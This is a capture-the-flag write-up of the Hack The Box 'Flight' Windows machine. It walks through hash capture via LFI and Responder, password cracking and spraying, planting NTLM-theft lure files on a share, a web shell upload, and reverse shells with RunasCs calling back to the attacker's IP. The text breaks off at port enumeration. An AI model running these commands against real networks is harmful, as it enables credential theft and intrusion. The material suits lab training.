Flight - Hack The Box

Flight - Hack The Box

Sebin Thomas

Flight is a hard Windows machine that starts with a website with two different virtual hosts. One of them is vulnerable to LFI and allows an attacker to retrieve an NTLM hash. Once cracked, the obtained clear text password will be sprayed across a list of valid usernames to discover a password re-use scenario. Once the attacker has SMB access as the user s.moon he is able to write to a share that gets accessed by other users. Certain files can be used to steal the NTLMv2 hash of the users that access the share. Once the second hash is cracked the attacker will be able to write a reverse shell in a share that hosts the web files and gain a shell on the box as low privileged user. Having credentials for the user c.bum, it will be possible to gain a shell as this user, which will allow the attacker to write an aspx web shell on a web site that is hosted locally and by using chisel we can forward that port and get into our machine and we can get a shell and by using SetImpersoante privilege we can escalate to Administrator.

Enumeration

Starting with nmap scan:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
➜  Flight nmap -v 10.129.228.120 -sCV -oA nmap-out
Nmap scan report for 10.129.228.120
Host is up (0.25s latency).
Not shown: 988 filtered tcp ports (no-response)
PORT STATE SERVICE VERSION
53/tcp open domain Simple DNS Plus
80/tcp open http Apache httpd 2.4.52 ((Win64) OpenSSL/1.1.1m PHP/8.1.1)
| http-methods:
| Supported Methods: OPTIONS HEAD GET POST TRACE
|_ Potentially risky methods: TRACE
|_http-server-header: Apache/2.4.52 (Win64) OpenSSL/1.1.1m PHP/8.1.1
|_http-title: g0 Aviation
88/tcp open kerberos-sec Microsoft Windows Kerberos (server time: 2024-11-15 17:35:47Z)
135/tcp open msrpc Microsoft Windows RPC
139/tcp open netbios-ssn Microsoft Windows netbios-ssn
389/tcp open ldap Microsoft Windows Active Directory LDAP (Domain: flight.htb0., Site: Default-First-Site-Name)
445/tcp open microsoft-ds?
464/tcp open kpasswd5?
593/tcp open ncacn_http Microsoft Windows RPC over HTTP 1.0
636/tcp open tcpwrapped
3268/tcp open ldap Microsoft Windows Active Directory LDAP (Domain: flight.htb0., Site: Default-First-Site-Name)
3269/tcp open tcpwrapped
Service Info: Host: G0; OS: Windows; CPE: cpe:/o:microsoft:windows

Host script results:
| smb2-security-mode:
| 3:1:1:
|_ Message signing enabled and required
| smb2-time:
| date: 2024-11-15T17:36:17
|_ start_date: N/A
|_clock-skew: 5h30m00s

NSE: Script Post-scanning.
Initiating NSE at 07:07
Completed NSE at 07:07, 0.00s elapsed
Initiating NSE at 07:07
Completed NSE at 07:07, 0.00s elapsed
Initiating NSE at 07:07
Completed NSE at 07:07, 0.00s elapsed
Read data files from: /usr/share/nmap
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 101.60 seconds
Raw packets sent: 2001 (88.020KB) | Rcvd: 48 (3.028KB)
➜ Flight

I found that port 80 was open, indicating an HTTP service. Since port 80 typically hosts web servers I navigated to the address http://10.129.228.120

After browsing the website on port 80, I didn’t find anything interesting. I used ffuf to fuzz for potential subdomains.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
➜  Flight ffuf -u "http://flight.htb/" -H "Host: FUZZ.flight.htb" -w /usr/share/seclists/Discovery/DNS/subdomains-top1million-110000.txt -fl 155

/'___\ /'___\ /'___\
/\ \__/ /\ \__/ __ __ /\ \__/
\ \ ,__\\ \ ,__\/\ \/\ \ \ \ ,__\
\ \ \_/ \ \ \_/\ \ \_\ \ \ \ \_/
\ \_\ \ \_\ \ \____/ \ \_\
\/_/ \/_/ \/___/ \/_/

v2.1.0-dev
________________________________________________

:: Method : GET
:: URL : http://flight.htb/
:: Wordlist : FUZZ: /usr/share/seclists/Discovery/DNS/subdomains-top1million-110000.txt
:: Header : Host: FUZZ.flight.htb
:: Follow redirects : false
:: Calibration : false
:: Timeout : 10
:: Threads : 40
:: Matcher : Response status: 200-299,301,302,307,401,403,405,500
:: Filter : Response lines: 155
________________________________________________

school [Status: 200, Size: 3996, Words: 1045, Lines: 91, Duration: 214ms]

After fuzzing, I discovered a hidden virtual host: school.flight.htb

Upon enumerating i found a parameter index.php?view=, since it a Windows machine i started responder and crafted url like this:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
➜  Flight sudo responder -I tun0
[sudo] password for kali:
__
.----.-----.-----.-----.-----.-----.--| |.-----.----.
| _| -__|__ --| _ | _ | | _ || -__| _|
|__| |_____|_____| __|_____|__|__|_____||_____|__|
|__|

NBT-NS, LLMNR & MDNS Responder 3.1.5.0

To support this project:
Github -> https://github.com/sponsors/lgandx
Paypal -> https://paypal.me/PythonResponder

Author: Laurent Gaffie (laurent.gaffie@gmail.com)
To kill this script hit CTRL-C


[SMB] NTLMv2-SSP Client : 10.129.228.120
[SMB] NTLMv2-SSP Username : flight\svc_apache
[SMB] NTLMv2-SSP Hash : svc_apache::flight:ea2a3ecfc8a500f8:304E4054C5D7CEC910A1BD84BE2F91D2:0101000000000000001677B53037DB01DC2646E0FBD583200000000002000800490049004B00460001001E00570049004E002D004400500036004F004B004C0034004E0049003200360004003400570049004E002D004400500036004F004B004C0034004E004900320036002E00490049004B0046002E004C004F00430041004C0003001400490049004B0046002E004C004F00430041004C0005001400490049004B0046002E004C004F00430041004C0007000800001677B53037DB010600040002000000080030003000000000000000000000000030000084B4169240A50F43AB98F19FBE4B105A949C2733F3B4C011FCA04B28C025E5020A001000000000000000000000000000000000000900200063006900660073002F00310030002E00310030002E00310036002E00320035000000000000000000

In just a second i got a hit on my responder with svc_apache hash, and i used john to crack password.

1
2
3
4
5
6
7
8
9
➜  Flight john hash --wordlist=/usr/share/wordlists/rockyou.txt
Using default input encoding: UTF-8
Loaded 1 password hash (netntlmv2, NTLMv2 C/R [MD4 HMAC-MD5 32/64])
Will run 4 OpenMP threads
Press 'q' or Ctrl-C to abort, almost any other key for status
S@Ss!K@*t13 (svc_apache)
1g 0:00:00:04 DONE (2024-11-15 07:35) 0.2421g/s 2582Kp/s 2582Kc/s 2582KC/s SADSAM..S42150461
Use the "--show --format=netntlmv2" options to display all of the cracked passwords reliably
Session completed.

After cracking i got password of svc_apache:S@Ss!K@*t13, with that creds i enumerated smb shares and got few shares.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
➜  Flight smbclient -L \\\\flight.htb\\ -U svc_apache
Password for [WORKGROUP\svc_apache]:

Sharename Type Comment
--------- ---- -------
ADMIN$ Disk Remote Admin
C$ Disk Default share
IPC$ IPC Remote IPC
NETLOGON Disk Logon server share
Shared Disk
SYSVOL Disk Logon server share
Users Disk
Web Disk
Reconnecting with SMB1 for workgroup listing.
do_connect: Connection to flight.htb failed (Error NT_STATUS_RESOURCE_NAME_NOT_FOUND)
Unable to connect with SMB1 -- no workgroup available
➜ Flight smbclient \\\\flight.htb\\Users -U svc_apache
Password for [WORKGROUP\svc_apache]:
Try "help" to get a list of possible commands.
smb: \> ls
. DR 0 Thu Sep 22 16:16:56 2022
.. DR 0 Thu Sep 22 16:16:56 2022
.NET v4.5 D 0 Thu Sep 22 15:28:03 2022
.NET v4.5 Classic D 0 Thu Sep 22 15:28:02 2022
Administrator D 0 Mon Oct 31 14:34:00 2022
All Users DHSrn 0 Sat Sep 15 03:28:48 2018
C.Bum D 0 Thu Sep 22 16:08:23 2022
Default DHR 0 Tue Jul 20 15:20:24 2021
Default User DHSrn 0 Sat Sep 15 03:28:48 2018
desktop.ini AHS 174 Sat Sep 15 03:16:48 2018
Public DR 0 Tue Jul 20 15:23:25 2021
svc_apache D 0 Fri Oct 21 14:50:21 2022

5056511 blocks of size 4096. 1253840 blocks available
smb: \> cd C.Bum
smb: \C.Bum\> ls
NT_STATUS_ACCESS_DENIED listing \C.Bum\*
smb: \C.Bum\> cd ../svc_apache\
smb: \svc_apache\> ls
. D 0 Fri Oct 21 14:50:21 2022
.. D 0 Fri Oct 21 14:50:21 2022
AppData DH 0 Thu Sep 22 16:16:56 2022
Application Data DHSrn 0 Thu Sep 22 16:16:56 2022
Cookies DHSrn 0 Thu Sep 22 16:16:56 2022
Desktop DR 0 Sat Sep 15 03:19:00 2018
Documents DR 0 Thu Sep 22 16:16:56 2022
Downloads DR 0 Sat Sep 15 03:19:00 2018
Favorites DR 0 Sat Sep 15 03:19:00 2018
Links DR 0 Sat Sep 15 03:19:00 2018
Local Settings DHSrn 0 Thu Sep 22 16:16:56 2022
Music DR 0 Sat Sep 15 03:19:00 2018
My Documents DHSrn 0 Thu Sep 22 16:16:56 2022
NetHood DHSrn 0 Thu Sep 22 16:16:56 2022
NTUSER.DAT AHn 262144 Mon Oct 31 23:26:27 2022
ntuser.dat.LOG1 AHS 124928 Thu Sep 22 16:16:56 2022
ntuser.dat.LOG2 AHS 124928 Thu Sep 22 16:16:56 2022
NTUSER.DAT{1c3790b4-b8ad-11e8-aa21-e41d2d101530}.TM.blf AHS 65536 Thu Sep 22 16:17:08 2022
NTUSER.DAT{1c3790b4-b8ad-11e8-aa21-e41d2d101530}.TMContainer00000000000000000001.regtrans-ms AHS 524288 Thu Sep 22 16:16:56 2022
NTUSER.DAT{1c3790b4-b8ad-11e8-aa21-e41d2d101530}.TMContainer00000000000000000002.regtrans-ms AHS 524288 Thu Sep 22 16:16:56 2022
ntuser.ini HS 20 Thu Sep 22 16:16:56 2022
Pictures DR 0 Sat Sep 15 03:19:00 2018
PrintHood DHSrn 0 Thu Sep 22 16:16:56 2022
Recent DHSrn 0 Thu Sep 22 16:16:56 2022
Saved Games D 0 Sat Sep 15 03:19:00 2018
SendTo DHSrn 0 Thu Sep 22 16:16:56 2022
Start Menu DHSrn 0 Thu Sep 22 16:16:56 2022
Templates DHSrn 0 Thu Sep 22 16:16:56 2022
Videos DR 0 Sat Sep 15 03:19:00 2018

5056511 blocks of size 4096. 1253840 blocks available
smb: \svc_apache\> cd Desktop
smb: \svc_apache\Desktop\> ls
. DR 0 Sat Sep 15 03:19:00 2018
.. DR 0 Sat Sep 15 03:19:00 2018
5056511 blocks of size 4096. 1253840 blocks available
smb: \> exit
➜ Flight smbclient \\\\flight.htb\\Web -U svc_apache
Password for [WORKGROUP\svc_apache]:
Try "help" to get a list of possible commands.
smb: \> ls
. D 0 Fri Nov 15 13:27:00 2024
.. D 0 Fri Nov 15 13:27:00 2024
flight.htb D 0 Fri Nov 15 13:27:00 2024
school.flight.htb D 0 Fri Nov 15 13:27:00 2024

5056511 blocks of size 4096. 1253840 blocks available
smb: \> cd school.flight.htb\
smb: \school.flight.htb\> ls
. D 0 Fri Nov 15 13:27:00 2024
.. D 0 Fri Nov 15 13:27:00 2024
about.html A 1689 Mon Oct 24 23:54:45 2022
blog.html A 3618 Mon Oct 24 23:53:59 2022
home.html A 2683 Mon Oct 24 23:56:58 2022
images D 0 Fri Nov 15 13:27:00 2024
index.php A 2092 Thu Oct 27 03:59:25 2022
lfi.html A 179 Thu Oct 27 03:55:16 2022
styles D 0 Fri Nov 15 13:27:00 2024

5056511 blocks of size 4096. 1253840 blocks available
smb: \school.flight.htb\> cd ../flight.htb\
ls
smb: \flight.htb\> ls
. D 0 Fri Nov 15 13:27:00 2024
.. D 0 Fri Nov 15 13:27:00 2024
css D 0 Fri Nov 15 13:27:00 2024
images D 0 Fri Nov 15 13:27:00 2024
index.html A 7069 Thu Feb 24 00:58:10 2022
js D 0 Fri Nov 15 13:27:00 2024

5056511 blocks of size 4096. 1253584 blocks available
smb: \flight.htb\> exit
➜ Flight smbclient \\\\flight.htb\\Shared -U svc_apache
Password for [WORKGROUP\svc_apache]:
Try "help" to get a list of possible commands.
smb: \> ls
. D 0 Fri Oct 28 16:21:28 2022
.. D 0 Fri Oct 28 16:21:28 2022

5056511 blocks of size 4096. 1253584 blocks available
smb: \> exit

Coudn’t find anything interesting from shares, so moving forward to find other users.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
➜  Flight nxc smb 10.129.228.120 -u 'svc_apache' -p 'S@Ss!K@*t13'                                           
SMB 10.129.228.120 445 G0 [*] Windows 10 / Server 2019 Build 17763 x64 (name:G0) (domain:flight.htb) (signing:True) (SMBv1:False)
SMB 10.129.228.120 445 G0 [+] flight.htb\svc_apache:S@Ss!K@*t13
➜ Flight nxc smb 10.129.228.120 -u 'svc_apache' -p 'S@Ss!K@*t13' --users
SMB 10.129.228.120 445 G0 [*] Windows 10 / Server 2019 Build 17763 x64 (name:G0) (domain:flight.htb) (signing:True) (SMBv1:False)
SMB 10.129.228.120 445 G0 [+] flight.htb\svc_apache:S@Ss!K@*t13
SMB 10.129.228.120 445 G0 -Username- -Last PW Set- -BadPW- -Description-
SMB 10.129.228.120 445 G0 Administrator 2022-09-22 20:17:02 0 Built-in account for administering the computer/domain
SMB 10.129.228.120 445 G0 Guest <never> 0 Built-in account for guest access to the computer/domain
SMB 10.129.228.120 445 G0 krbtgt 2022-09-22 19:48:01 0 Key Distribution Center Service Account
SMB 10.129.228.120 445 G0 S.Moon 2022-09-22 20:08:22 0 Junion Web Developer
SMB 10.129.228.120 445 G0 R.Cold 2022-09-22 20:08:22 0 HR Assistant
SMB 10.129.228.120 445 G0 G.Lors 2022-09-22 20:08:22 0 Sales manager
SMB 10.129.228.120 445 G0 L.Kein 2022-09-22 20:08:22 0 Penetration tester
SMB 10.129.228.120 445 G0 M.Gold 2022-09-22 20:08:22 0 Sysadmin
SMB 10.129.228.120 445 G0 C.Bum 2022-09-22 20:08:22 0 Senior Web Developer
SMB 10.129.228.120 445 G0 W.Walker 2022-09-22 20:08:22 0 Payroll officer
SMB 10.129.228.120 445 G0 I.Francis 2022-09-22 20:08:22 0 Nobody knows why he's here
SMB 10.129.228.120 445 G0 D.Truff 2022-09-22 20:08:22 0 Project Manager
SMB 10.129.228.120 445 G0 V.Stevens 2022-09-22 20:08:22 0 Secretary
SMB 10.129.228.120 445 G0 svc_apache 2022-09-22 20:08:23 0 Service Apache web
SMB 10.129.228.120 445 G0 O.Possum 2022-09-22 20:08:23 0 Helpdesk
SMB 10.129.228.120 445 G0 [*] Enumerated 15 local users: flight
➜ Flight nxc smb 10.129.228.120 -u 'svc_apache' -p 'S@Ss!K@*t13' --users | awk 'NR>3 {print $5}' > users.txt
➜ Flight cat users.txt
S.Moon
R.Cold
G.Lors
L.Kein
M.Gold
C.Bum
W.Walker
I.Francis
D.Truff
V.Stevens
svc_apache
O.Possum
➜ Flight

Got usernames from smb using valid creds of svc_apache and sprayed password of svc_apache with the all users found and got other hit on one other user S.Moon

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
➜  Flight nxc smb 10.129.228.120 -u users.txt -p 'S@Ss!K@*t13' --continue-on-success 
SMB 10.129.228.120 445 G0 [*] Windows 10 / Server 2019 Build 17763 x64 (name:G0) (domain:flight.htb) (signing:True) (SMBv1:False)
SMB 10.129.228.120 445 G0 [+] flight.htb\S.Moon:S@Ss!K@*t13
SMB 10.129.228.120 445 G0 [-] flight.htb\R.Cold:S@Ss!K@*t13 STATUS_LOGON_FAILURE
SMB 10.129.228.120 445 G0 [-] flight.htb\G.Lors:S@Ss!K@*t13 STATUS_LOGON_FAILURE
SMB 10.129.228.120 445 G0 [-] flight.htb\L.Kein:S@Ss!K@*t13 STATUS_LOGON_FAILURE
SMB 10.129.228.120 445 G0 [-] flight.htb\M.Gold:S@Ss!K@*t13 STATUS_LOGON_FAILURE
SMB 10.129.228.120 445 G0 [-] flight.htb\C.Bum:S@Ss!K@*t13 STATUS_LOGON_FAILURE
SMB 10.129.228.120 445 G0 [-] flight.htb\W.Walker:S@Ss!K@*t13 STATUS_LOGON_FAILURE
SMB 10.129.228.120 445 G0 [-] flight.htb\I.Francis:S@Ss!K@*t13 STATUS_LOGON_FAILURE
SMB 10.129.228.120 445 G0 [-] flight.htb\D.Truff:S@Ss!K@*t13 STATUS_LOGON_FAILURE
SMB 10.129.228.120 445 G0 [-] flight.htb\V.Stevens:S@Ss!K@*t13 STATUS_LOGON_FAILURE
SMB 10.129.228.120 445 G0 [+] flight.htb\svc_apache:S@Ss!K@*t13
SMB 10.129.228.120 445 G0 [-] flight.htb\O.Possum:S@Ss!K@*t13 STATUS_LOGON_FAILURE
➜ Flight

Now we have READ, WRITE permission on Shared share so we can try to get creds of any other users by uploading ntlm_theft files. We can generate files by using ntlm_theft.py

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
➜  Flight python3 ~/Tools/ntlm_theft/ntlm_theft.py --generate all --server 10.10.16.25 --filename test 
Created: test/test.scf (BROWSE TO FOLDER)
Created: test/test-(url).url (BROWSE TO FOLDER)
Created: test/test-(icon).url (BROWSE TO FOLDER)
Created: test/test.lnk (BROWSE TO FOLDER)
Created: test/test.rtf (OPEN)
Created: test/test-(stylesheet).xml (OPEN)
Created: test/test-(fulldocx).xml (OPEN)
Created: test/test.htm (OPEN FROM DESKTOP WITH CHROME, IE OR EDGE)
Created: test/test-(includepicture).docx (OPEN)
Created: test/test-(remotetemplate).docx (OPEN)
Created: test/test-(frameset).docx (OPEN)
Created: test/test-(externalcell).xlsx (OPEN)
Created: test/test.wax (OPEN)
Created: test/test.m3u (OPEN IN WINDOWS MEDIA PLAYER ONLY)
Created: test/test.asx (OPEN)
Created: test/test.jnlp (OPEN)
Created: test/test.application (DOWNLOAD AND OPEN)
Created: test/test.pdf (OPEN AND ALLOW)
Created: test/zoom-attack-instructions.txt (PASTE TO CHAT)
Created: test/Autorun.inf (BROWSE TO FOLDER)
Created: test/desktop.ini (BROWSE TO FOLDER)
Generation Complete.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
➜  test smbclient \\\\flight.htb\\Shared -U S.moon
Password for [WORKGROUP\S.moon]:
Try "help" to get a list of possible commands.
smb: \> recurse on
smb: \> prompt off
smb: \> put *
* does not exist
smb: \> put
Autorun.inf test.asx test-(fulldocx).xml test-(includepicture).docx test.m3u test.rtf test-(url).url
desktop.ini test-(externalcell).xlsx test.htm test.jnlp test.pdf test.scf test.wax
test.application test-(frameset).docx test-(icon).url test.lnk test-(remotetemplate).docx test-(stylesheet).xml zoom-attack-instructions.txt
smb: \> put *
* does not exist
smb: \> mput *
NT_STATUS_ACCESS_DENIED opening remote file \test.pdf
NT_STATUS_ACCESS_DENIED opening remote file \test.wax
NT_STATUS_ACCESS_DENIED opening remote file \zoom-attack-instructions.txt
NT_STATUS_ACCESS_DENIED opening remote file \Autorun.inf
NT_STATUS_ACCESS_DENIED opening remote file \test.asx
NT_STATUS_ACCESS_DENIED opening remote file \test.lnk
putting file test.jnlp as \test.jnlp (0.3 kb/s) (average 0.3 kb/s)
putting file test.application as \test.application (1.5 kb/s) (average 1.1 kb/s)

I started my responder listerner and uploaded ntlm_theft files to Shared share and after few seconds i got a response back in my Responder with hash of other user c.bum, after cracking i got c.bum users password.

1
2
3
4
➜  Flight sudo responder -I tun0
[SMB] NTLMv2-SSP Client : 10.129.228.120
[SMB] NTLMv2-SSP Username : flight.htb\c.bum
[SMB] NTLMv2-SSP Hash : c.bum::flight.htb:9b0b2d686a2b92e9:82D52AD3695FC61C3BECC964FACA328A:01010000000000008082FCB16237DB01978F932AF723229900000000020008004B00410035005A0001001E00570049004E002D00370052003000440056003500590033004A0036004B0004003400570049004E002D00370052003000440056003500590033004A0036004B002E004B00410035005A002E004C004F00430041004C00030014004B00410035005A002E004C004F00430041004C00050014004B00410035005A002E004C004F00430041004C00070008008082FCB16237DB010600040002000000080030003000000000000000000000000030000084B4169240A50F43AB98F19FBE4B105A949C2733F3B4C011FCA04B28C025E5020A001000000000000000000000000000000000000900200063006900660073002F00310030002E00310030002E00310036002E00320035000000000000000000
1
2
3
4
5
6
7
8
9
10
➜  Flight john hash2 --wordlist=/usr/share/wordlists/rockyou.txt
Using default input encoding: UTF-8
Loaded 1 password hash (netntlmv2, NTLMv2 C/R [MD4 HMAC-MD5 32/64])
Will run 4 OpenMP threads
Press 'q' or Ctrl-C to abort, almost any other key for status
Tikkycoll_431012284 (c.bum)
1g 0:00:00:03 DONE (2024-11-15 13:33) 0.2557g/s 2694Kp/s 2694Kc/s 2694KC/s TinyMutt69..Tiffani29
Use the "--show --format=netntlmv2" options to display all of the cracked passwords reliably
Session completed.
➜ Flight

With c.bum’s creds we have write access to web share so we can upload a asp web shell and get a shell.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
➜  Flight smbclient \\\\flight.htb\\Web -U c.bum           
Password for [WORKGROUP\c.bum]:
Try "help" to get a list of possible commands.
smb: \> ls
. D 0 Fri Nov 15 13:37:00 2024
.. D 0 Fri Nov 15 13:37:00 2024
flight.htb D 0 Fri Nov 15 13:37:00 2024
school.flight.htb D 0 Fri Nov 15 13:37:00 2024

5056511 blocks of size 4096. 1252959 blocks available
smb: \> cd school.flight.htb\
smb: \school.flight.htb\> ls
. D 0 Fri Nov 15 13:37:00 2024
.. D 0 Fri Nov 15 13:37:00 2024
about.html A 1689 Mon Oct 24 23:54:45 2022
blog.html A 3618 Mon Oct 24 23:53:59 2022
home.html A 2683 Mon Oct 24 23:56:58 2022
images D 0 Fri Nov 15 13:37:00 2024
index.php A 2092 Thu Oct 27 03:59:25 2022
lfi.html A 179 Thu Oct 27 03:55:16 2022
styles D 0 Fri Nov 15 13:37:00 2024

5056511 blocks of size 4096. 1252831 blocks available
smb: \school.flight.htb\> put shell.php
putting file shell.php as \school.flight.htb\shell.php (0.4 kb/s) (average 13.1 kb/s)
smb: \school.flight.htb\>


After uploading we can access that file from web page and we can get a shell using a normal powershell reverse shell and we get a shell of user svc_apache

1
2
3
4
5
6
7
➜  Flight nc -nvlp 1212                                                 
Listening on 0.0.0.0 1212
Connection received on 10.129.228.120 53863

PS C:\xampp\htdocs\school.flight.htb> whoami
flight\svc_apache
PS C:\xampp\htdocs\school.flight.htb>
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
➜  Flight nc -nvlp 1212                                                 
Listening on 0.0.0.0 1212
Connection received on 10.129.228.120 53863

PS C:\xampp\htdocs\school.flight.htb> whoami
flight\svc_apache
PS C:\xampp\htdocs\school.flight.htb> cd ../..
PS C:\xampp> ls


Directory: C:\xampp


Mode LastWriteTime Length Name
---- ------------- ------ ----
d----- 9/22/2022 1:08 PM apache
d----- 9/22/2022 1:08 PM cgi-bin
d----- 9/22/2022 1:08 PM contrib
d----- 9/22/2022 1:08 PM FileZillaFTP
d----- 11/15/2024 11:02 AM htdocs
d----- 9/22/2022 1:09 PM install
d----- 9/22/2022 1:09 PM licenses
d----- 9/22/2022 1:09 PM locale
d----- 9/22/2022 1:08 PM MercuryMail
d----- 9/22/2022 1:09 PM mysql
d----- 9/22/2022 1:10 PM perl
d----- 9/22/2022 1:14 PM php
d----- 9/22/2022 1:16 PM phpMyAdmin
d----- 9/22/2022 1:16 PM sendmail
d----- 9/22/2022 1:16 PM tmp
d----- 9/22/2022 1:16 PM tomcat
d----- 9/22/2022 1:16 PM webalizer
d----- 9/22/2022 1:16 PM webdav
-a---- 6/7/2013 11:15 AM 436 apache_start.bat
-a---- 10/1/2019 7:13 AM 190 apache_stop.bat
-a---- 4/5/2021 4:16 PM 10324 catalina_service.bat
-a---- 4/5/2021 4:17 PM 3766 catalina_start.bat
-a---- 4/5/2021 4:17 PM 3529 catalina_stop.bat
-a---- 6/3/2019 11:39 AM 471 mysql_start.bat
-a---- 10/1/2019 7:13 AM 270 mysql_stop.bat
-a---- 3/13/2017 11:04 AM 824 passwords.txt
-a---- 12/24/2021 2:11 PM 7651 readme_de.txt
-a---- 12/24/2021 2:11 PM 7513 readme_en.txt
-a---- 11/12/2015 4:13 PM 370 setup_xampp.bat
-a---- 11/29/2020 1:38 PM 1671 test_php.bat
-a---- 4/6/2021 11:38 AM 3368448 xampp-control.exe
-a---- 4/5/2021 4:08 PM 978 xampp-control.ini
-a---- 3/30/2013 12:29 PM 118784 xampp_start.exe
-a---- 3/30/2013 12:29 PM 118784 xampp_stop.exe


PS C:\xampp> cd ..
PS C:\> ls


Directory: C:\


Mode LastWriteTime Length Name
---- ------------- ------ ----
d----- 11/15/2024 11:02 AM inetpub
d----- 6/7/2022 6:39 AM PerfLogs
d-r--- 10/21/2022 11:49 AM Program Files
d----- 7/20/2021 12:23 PM Program Files (x86)
d----- 11/15/2024 10:36 AM Shared
d----- 9/22/2022 12:28 PM StorageReports
d-r--- 9/22/2022 1:16 PM Users
d----- 10/21/2022 11:52 AM Windows
d----- 9/22/2022 1:16 PM xampp


PS C:\> mkdir Temp
cd

Directory: C:\


Mode LastWriteTime Length Name
---- ------------- ------ ----
d----- 11/15/2024 11:04 AM Temp


PS C:\> Temp
PS C:\Temp> ls
PS C:\Temp> curl 10.10.16.25:1337/RunasCs.exe -o RunasCs.exe
PS C:\Temp> .\RunasCs.exe C.Bum Tikkycoll_431012284 cmd.exe -r 10.10.16.25:1234
[*] Warning: The logon for user 'C.Bum' is limited. Use the flag combination --bypass-uac and --logon-type '8' to obtain a more privileged token.

[+] Running in session 0 with process function CreateProcessWithLogonW()
[+] Using Station\Desktop: Service-0x0-856ce$\Default
[+] Async process 'C:\Windows\system32\cmd.exe' with pid 900 created in background.
PS C:\Temp>

Since we have creds of C.Bum i tried using RunasCs.exe to get other shell and it worked and we got a shell as C.Bum

User c.bum

1
2
3
4
5
6
7
8
9
10
11
➜  Flight nc -nvlp 1234
Listening on 0.0.0.0 1234
Connection received on 10.129.228.120 63400
Microsoft Windows [Version 10.0.17763.2989]
(c) 2018 Microsoft Corporation. All rights reserved.

C:\Windows\system32>whoami
whoami
flight\c.bum

C:\Windows\system32>

After checking network connection i found there is a port 8000 listening locally, and also we can see there is a folder named C:\inetpub\development so it will be some web servers. By using chisel i forwarded port 8000 to my local machin in port 8989.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
C:\Users\C.Bum\Desktop>netstat -an | findstr LISTEN
netstat -an | findstr LISTEN
TCP 0.0.0.0:80 0.0.0.0:0 LISTENING
TCP 0.0.0.0:88 0.0.0.0:0 LISTENING
TCP 0.0.0.0:135 0.0.0.0:0 LISTENING
TCP 0.0.0.0:389 0.0.0.0:0 LISTENING
TCP 0.0.0.0:443 0.0.0.0:0 LISTENING
TCP 0.0.0.0:445 0.0.0.0:0 LISTENING
TCP 0.0.0.0:464 0.0.0.0:0 LISTENING
TCP 0.0.0.0:593 0.0.0.0:0 LISTENING
TCP 0.0.0.0:636 0.0.0.0:0 LISTENING
TCP 0.0.0.0:3268 0.0.0.0:0 LISTENING
TCP 0.0.0.0:3269 0.0.0.0:0 LISTENING
TCP 0.0.0.0:5985 0.0.0.0:0 LISTENING
TCP 0.0.0.0:8000 0.0.0.0:0 LISTENING
TCP 0.0.0.0:9389 0.0.0.0:0 LISTENING
TCP 0.0.0.0:47001 0.0.0.0:0 LISTENING
TCP 0.0.0.0:49664 0.0.0.0:0 LISTENING
TCP 0.0.0.0:49665 0.0.0.0:0 LISTENING
TCP 0.0.0.0:49666 0.0.0.0:0 LISTENING
TCP 0.0.0.0:49667 0.0.0.0:0 LISTENING
TCP 0.0.0.0:49677 0.0.0.0:0 LISTENING
TCP 0.0.0.0:49678 0.0.0.0:0 LISTENING
TCP 0.0.0.0:49690 0.0.0.0:0 LISTENING
TCP 0.0.0.0:49698 0.0.0.0:0 LISTENING
TCP 0.0.0.0:51121 0.0.0.0:0 LISTENING
TCP 10.129.228.120:53 0.0.0.0:0 LISTENING
TCP 10.129.228.120:139 0.0.0.0:0 LISTENING
TCP 127.0.0.1:53 0.0.0.0:0 LISTENING
TCP [::]:80 [::]:0 LISTENING
TCP [::]:88 [::]:0 LISTENING
TCP [::]:135 [::]:0 LISTENING
TCP [::]:389 [::]:0 LISTENING
TCP [::]:443 [::]:0 LISTENING
TCP [::]:445 [::]:0 LISTENING
TCP [::]:464 [::]:0 LISTENING
TCP [::]:593 [::]:0 LISTENING
TCP [::]:636 [::]:0 LISTENING
TCP [::]:3268 [::]:0 LISTENING
TCP [::]:3269 [::]:0 LISTENING
TCP [::]:5985 [::]:0 LISTENING
TCP [::]:8000 [::]:0 LISTENING
TCP [::]:9389 [::]:0 LISTENING
TCP [::]:47001 [::]:0 LISTENING
TCP [::]:49664 [::]:0 LISTENING
TCP [::]:49665 [::]:0 LISTENING
TCP [::]:49666 [::]:0 LISTENING
TCP [::]:49667 [::]:0 LISTENING
TCP [::]:49677 [::]:0 LISTENING
TCP [::]:49678 [::]:0 LISTENING
TCP [::]:49690 [::]:0 LISTENING
TCP [::]:49698 [::]:0 LISTENING
TCP [::]:51121 [::]:0 LISTENING
TCP [::1]:53 [::]:0 LISTENING
TCP [dead:beef::c1dd:e91e:5896:3429]:53 [::]:0 LISTENING
TCP [fe80::c1dd:e91e:5896:3429%6]:53 [::]:0 LISTENING

